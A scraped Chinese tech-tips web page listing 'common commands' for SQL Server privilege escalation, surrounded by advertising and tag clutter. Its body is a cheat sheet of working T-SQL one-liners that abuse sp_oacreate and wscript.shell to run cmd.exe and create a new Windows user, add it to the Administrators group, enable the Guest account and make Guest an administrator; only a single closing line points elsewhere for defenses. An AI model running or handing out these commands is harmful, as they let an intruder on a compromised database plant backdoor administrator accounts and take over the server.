主頁 > 知識(shí)庫 > SQL 提權(quán) 常用命令

SQL 提權(quán) 常用命令

熱門標(biāo)簽:湖南電腦外呼系統(tǒng)平臺(tái) 分享百度地圖標(biāo)注多個(gè)位置 外呼系統(tǒng)改進(jìn) 廣東防封卡外呼系統(tǒng)原理是什么 知名電銷機(jī)器人價(jià)格 菏澤語音電銷機(jī)器人加盟公司 電銷機(jī)器人公司 需要哪些牌照 地圖標(biāo)注牌 長沙智能外呼系統(tǒng)
1、連接數(shù)據(jù)庫
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。

標(biāo)簽:泉州 美容院 珠海 天水 西寧 商洛 呼和浩特 福建

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《SQL 提權(quán) 常用命令》,本文關(guān)鍵詞  SQL,提權(quán),常用,命令,SQL,提權(quán),;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《SQL 提權(quán) 常用命令》相關(guān)的同類信息!
  • 本頁收集關(guān)于SQL 提權(quán) 常用命令的相關(guān)信息資訊供網(wǎng)民參考!
  • 企业400电话

    智能AI客服机器人
    15000

    在线订购

    合计11份范本:公司章程+合伙协议+出资协议+合作协议+股权转让协议+增资扩股协议+股权激励+股东会决议+董事会决议

    推薦文章